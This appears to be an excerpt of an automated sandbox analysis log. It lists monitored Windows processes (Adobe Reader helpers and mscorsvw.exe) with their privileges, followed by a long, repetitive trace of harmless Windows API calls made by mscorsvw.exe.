os_tid = 0x7b8 Thread: id = 977 os_tid = 0x7cc Thread: id = 981 os_tid = 0x7dc Thread: id = 983 os_tid = 0x7e4 Thread: id = 998 os_tid = 0x15c Thread: id = 1000 os_tid = 0x174 Thread: id = 1001 os_tid = 0x148 Thread: id = 1002 os_tid = 0x434 Thread: id = 1003 os_tid = 0x484 Process: id = "65" image_name = "reader_sl.exe" filename = "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\reader_sl.exe" page_root = "0x75b2d000" os_pid = "0x5dc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "60" os_parent_pid = "0x4c8" cmd_line = "\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\reader_sl.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 860 os_tid = 0x5e0 Thread: id = 864 os_tid = 0x5f4 Thread: id = 882 os_tid = 0x638 Process: id = "66" image_name = "adobearm.exe" filename = "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearm.exe" page_root = "0x76052000" os_pid = "0x5e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "60" os_parent_pid = "0x4c8" cmd_line = "\"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 862 os_tid = 0x5ec Thread: id = 888 os_tid = 0x650 Thread: id = 889 os_tid = 0x654 Process: id = "67" image_name = "mscorsvw.exe" filename = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorsvw.exe" page_root = "0x74337000" os_pid = "0x678" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 897 os_tid = 0x67c [0244.470] GetCommandLineW () returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe" [0244.470] GetProcessVersion (ProcessId=0xca9) returned 0x0 [0244.471] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.471] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.471] IsCharLowerA (ch=32) returned 0 [0244.471] CountClipboardFormats () returned 0 [0244.471] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.471] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.471] IsCharLowerA (ch=33) returned 0 [0244.471] CountClipboardFormats () returned 0 [0244.471] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.471] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.471] IsCharLowerA (ch=34) returned 0 [0244.471] CountClipboardFormats () returned 0 [0244.471] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.471] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.471] IsCharLowerA (ch=35) returned 0 [0244.471] CountClipboardFormats () returned 0 [0244.471] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.471] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.471] IsCharLowerA (ch=36) returned 0 [0244.471] CountClipboardFormats () returned 0 [0244.471] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.472] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.472] IsCharLowerA (ch=37) returned 0 [0244.472] CountClipboardFormats () returned 0 [0244.472] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.472] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.472] IsCharLowerA (ch=38) returned 0 [0244.472] CountClipboardFormats () returned 0 [0244.472] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.472] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.472] IsCharLowerA (ch=39) returned 0 [0244.472] CountClipboardFormats () returned 0 [0244.472] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.472] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.472] IsCharLowerA (ch=40) returned 0 [0244.472] CountClipboardFormats () returned 0 [0244.472] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.472] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.472] IsCharLowerA (ch=41) returned 0 [0244.472] CountClipboardFormats () returned 0 [0244.472] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.472] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.472] IsCharLowerA (ch=42) returned 0 [0244.472] CountClipboardFormats () returned 0 [0244.472] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.472] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.472] IsCharLowerA (ch=43) returned 0 [0244.472] CountClipboardFormats () returned 0 [0244.472] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.472] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.472] IsCharLowerA (ch=44) returned 0 [0244.472] CountClipboardFormats () returned 0 [0244.472] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.472] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.473] IsCharLowerA (ch=45) returned 0 [0244.473] CountClipboardFormats () returned 0 [0244.473] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.473] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.473] IsCharLowerA (ch=46) returned 0 [0244.473] CountClipboardFormats () returned 0 [0244.473] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.473] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.473] IsCharLowerA (ch=47) returned 0 [0244.473] CountClipboardFormats () returned 0 [0244.473] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.473] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.473] IsCharLowerA (ch=48) returned 0 [0244.473] CountClipboardFormats () returned 0 [0244.473] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.473] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.473] IsCharLowerA (ch=49) returned 0 [0244.473] CountClipboardFormats () returned 0 [0244.473] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.473] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.473] IsCharLowerA (ch=50) returned 0 [0244.473] CountClipboardFormats () returned 0 [0244.473] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.473] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.473] IsCharLowerA (ch=51) returned 0 [0244.473] CountClipboardFormats () returned 0 [0244.473] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.473] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.473] IsCharLowerA (ch=52) returned 0 [0244.473] CountClipboardFormats () returned 0 [0244.474] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.475] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.475] IsCharLowerA (ch=53) returned 0 [0244.475] CountClipboardFormats () returned 0 [0244.475] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.475] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.475] IsCharLowerA (ch=54) returned 0 [0244.475] CountClipboardFormats () returned 0 [0244.475] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.475] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.475] IsCharLowerA (ch=55) returned 0 [0244.475] CountClipboardFormats () returned 0 [0244.475] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.475] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.475] IsCharLowerA (ch=56) returned 0 [0244.475] CountClipboardFormats () returned 0 [0244.475] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.475] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.475] IsCharLowerA (ch=57) returned 0 [0244.475] CountClipboardFormats () returned 0 [0244.475] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.475] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.475] IsCharLowerA (ch=58) returned 0 [0244.475] CountClipboardFormats () returned 0 [0244.475] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.475] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.475] IsCharLowerA (ch=59) returned 0 [0244.475] CountClipboardFormats () returned 0 [0244.475] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.475] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.475] IsCharLowerA (ch=60) returned 0 [0244.475] CountClipboardFormats () returned 0 [0244.475] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.475] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.476] IsCharLowerA (ch=61) returned 0 [0244.476] CountClipboardFormats () returned 0 [0244.476] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.476] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.476] IsCharLowerA (ch=62) returned 0 [0244.476] CountClipboardFormats () returned 0 [0244.476] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.476] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.476] IsCharLowerA (ch=63) returned 0 [0244.476] CountClipboardFormats () returned 0 [0244.476] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.476] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.476] IsCharLowerA (ch=32) returned 0 [0244.476] CountClipboardFormats () returned 0 [0244.530] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.530] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.530] IsCharLowerA (ch=33) returned 0 [0244.530] CountClipboardFormats () returned 0 [0244.530] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.530] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.530] IsCharLowerA (ch=34) returned 0 [0244.530] CountClipboardFormats () returned 0 [0244.530] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.530] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.530] IsCharLowerA (ch=35) returned 0 [0244.530] CountClipboardFormats () returned 0 [0244.530] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.530] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.530] IsCharLowerA (ch=36) returned 0 [0244.530] CountClipboardFormats () returned 0 [0244.531] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.531] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.531] IsCharLowerA (ch=37) returned 0 [0244.531] CountClipboardFormats () returned 0 [0244.531] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.531] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.531] IsCharLowerA (ch=38) returned 0 [0244.531] CountClipboardFormats () returned 0 [0244.531] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.531] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.531] IsCharLowerA (ch=39) returned 0 [0244.531] CountClipboardFormats () returned 0 [0244.531] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.531] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.531] IsCharLowerA (ch=40) returned 0 [0244.531] CountClipboardFormats () returned 0 [0244.531] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.531] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.531] IsCharLowerA (ch=41) returned 0 [0244.531] CountClipboardFormats () returned 0 [0244.531] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.531] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.531] IsCharLowerA (ch=42) returned 0 [0244.531] CountClipboardFormats () returned 0 [0244.531] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.531] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.531] IsCharLowerA (ch=43) returned 0 [0244.531] CountClipboardFormats () returned 0 [0244.531] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.531] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.531] IsCharLowerA (ch=44) returned 0 [0244.531] CountClipboardFormats () returned 0 [0244.531] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.532] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.532] IsCharLowerA (ch=45) returned 0 [0244.532] CountClipboardFormats () returned 0 [0244.532] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.532] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.532] IsCharLowerA (ch=46) returned 0 [0244.532] CountClipboardFormats () returned 0 [0244.532] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.532] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.532] IsCharLowerA (ch=47) returned 0 [0244.532] CountClipboardFormats () returned 0 [0244.532] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.532] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.532] IsCharLowerA (ch=48) returned 0 [0244.532] CountClipboardFormats () returned 0 [0244.532] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.532] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.532] IsCharLowerA (ch=49) returned 0 [0244.532] CountClipboardFormats () returned 0 [0244.532] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.532] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.532] IsCharLowerA (ch=50) returned 0 [0244.532] CountClipboardFormats () returned 0 [0244.532] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.532] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.532] IsCharLowerA (ch=51) returned 0 [0244.532] CountClipboardFormats () returned 0 [0244.533] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.533] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.533] IsCharLowerA (ch=52) returned 0 [0244.533] CountClipboardFormats () returned 0 [0244.533] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.533] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.533] IsCharLowerA (ch=53) returned 0 [0244.533] CountClipboardFormats () returned 0 [0244.533] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.533] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.533] IsCharLowerA (ch=54) returned 0 [0244.533] CountClipboardFormats () returned 0 [0244.533] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.533] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.533] IsCharLowerA (ch=55) returned 0 [0244.533] CountClipboardFormats () returned 0 [0244.533] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.533] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.533] IsCharLowerA (ch=56) returned 0 [0244.533] CountClipboardFormats () returned 0 [0244.533] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.533] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.533] IsCharLowerA (ch=57) returned 0 [0244.533] CountClipboardFormats () returned 0 [0244.533] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.533] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.533] IsCharLowerA (ch=58) returned 0 [0244.533] CountClipboardFormats () returned 0 [0244.533] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.533] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.533] IsCharLowerA (ch=59) returned 0 [0244.533] CountClipboardFormats () returned 0 [0244.533] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.534] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.534] IsCharLowerA (ch=60) returned 0 [0244.534] CountClipboardFormats () returned 0 [0244.534] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.534] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.534] IsCharLowerA (ch=61) returned 0 [0244.534] CountClipboardFormats () returned 0 [0244.534] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.534] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.534] IsCharLowerA (ch=62) returned 0 [0244.535] CountClipboardFormats () returned 0 [0244.535] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.535] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.535] IsCharLowerA (ch=63) returned 0 [0244.535] CountClipboardFormats () returned 0 [0244.535] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.535] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.535] IsCharLowerA (ch=32) returned 0 [0244.535] CountClipboardFormats () returned 0 [0244.535] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.535] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.535] IsCharLowerA (ch=33) returned 0 [0244.535] CountClipboardFormats () returned 0 [0244.535] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.535] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.535] IsCharLowerA (ch=34) returned 0 [0244.535] CountClipboardFormats () returned 0 [0244.535] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.535] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.535] IsCharLowerA (ch=35) returned 0 [0244.535] CountClipboardFormats () returned 0 [0244.535] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.535] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.535] IsCharLowerA (ch=36) returned 0 [0244.535] CountClipboardFormats () returned 0 [0244.535] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.535] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.535] IsCharLowerA (ch=37) returned 0 [0244.535] CountClipboardFormats () returned 0 [0244.535] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.535] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.535] IsCharLowerA (ch=38) returned 0 [0244.535] CountClipboardFormats () returned 0 [0244.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.536] IsCharLowerA (ch=39) returned 0 [0244.536] CountClipboardFormats () returned 0 [0244.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.536] IsCharLowerA (ch=40) returned 0 [0244.536] CountClipboardFormats () returned 0 [0244.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.536] IsCharLowerA (ch=41) returned 0 [0244.536] CountClipboardFormats () returned 0 [0244.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.536] IsCharLowerA (ch=42) returned 0 [0244.536] CountClipboardFormats () returned 0 [0244.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.536] IsCharLowerA (ch=43) returned 0 [0244.536] CountClipboardFormats () returned 0 [0244.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.536] IsCharLowerA (ch=44) returned 0 [0244.536] CountClipboardFormats () returned 0 [0244.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.536] IsCharLowerA (ch=45) returned 0 [0244.536] CountClipboardFormats () returned 0 [0244.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.536] IsCharLowerA (ch=46) returned 0 [0244.536] CountClipboardFormats () returned 0 [0244.536] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.536] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.536] IsCharLowerA (ch=47) returned 0 [0244.536] CountClipboardFormats () returned 0 [0244.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.537] IsCharLowerA (ch=48) returned 0 [0244.537] CountClipboardFormats () returned 0 [0244.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.537] IsCharLowerA (ch=49) returned 0 [0244.537] CountClipboardFormats () returned 0 [0244.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.537] IsCharLowerA (ch=50) returned 0 [0244.537] CountClipboardFormats () returned 0 [0244.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.537] IsCharLowerA (ch=51) returned 0 [0244.537] CountClipboardFormats () returned 0 [0244.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.537] IsCharLowerA (ch=52) returned 0 [0244.537] CountClipboardFormats () returned 0 [0244.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.537] IsCharLowerA (ch=53) returned 0 [0244.537] CountClipboardFormats () returned 0 [0244.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.537] IsCharLowerA (ch=54) returned 0 [0244.537] CountClipboardFormats () returned 0 [0244.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.537] IsCharLowerA (ch=55) returned 0 [0244.537] CountClipboardFormats () returned 0 [0244.537] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.537] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.538] IsCharLowerA (ch=56) returned 0 [0244.538] CountClipboardFormats () returned 0 [0244.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.538] IsCharLowerA (ch=57) returned 0 [0244.538] CountClipboardFormats () returned 0 [0244.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.538] IsCharLowerA (ch=58) returned 0 [0244.538] CountClipboardFormats () returned 0 [0244.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.538] IsCharLowerA (ch=59) returned 0 [0244.538] CountClipboardFormats () returned 0 [0244.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.538] IsCharLowerA (ch=60) returned 0 [0244.538] CountClipboardFormats () returned 0 [0244.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.538] IsCharLowerA (ch=61) returned 0 [0244.538] CountClipboardFormats () returned 0 [0244.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.538] IsCharLowerA (ch=62) returned 0 [0244.538] CountClipboardFormats () returned 0 [0244.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.538] IsCharLowerA (ch=63) returned 0 [0244.538] CountClipboardFormats () returned 0 [0244.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.538] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.538] IsCharLowerA (ch=32) returned 0 [0244.538] CountClipboardFormats () returned 0 [0244.538] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.539] IsCharLowerA (ch=33) returned 0 [0244.539] CountClipboardFormats () returned 0 [0244.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.539] IsCharLowerA (ch=34) returned 0 [0244.539] CountClipboardFormats () returned 0 [0244.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.539] IsCharLowerA (ch=35) returned 0 [0244.539] CountClipboardFormats () returned 0 [0244.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.539] IsCharLowerA (ch=36) returned 0 [0244.539] CountClipboardFormats () returned 0 [0244.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.539] IsCharLowerA (ch=37) returned 0 [0244.539] CountClipboardFormats () returned 0 [0244.539] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0244.539] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0244.539] IsCharLowerA (ch=38) returned 0 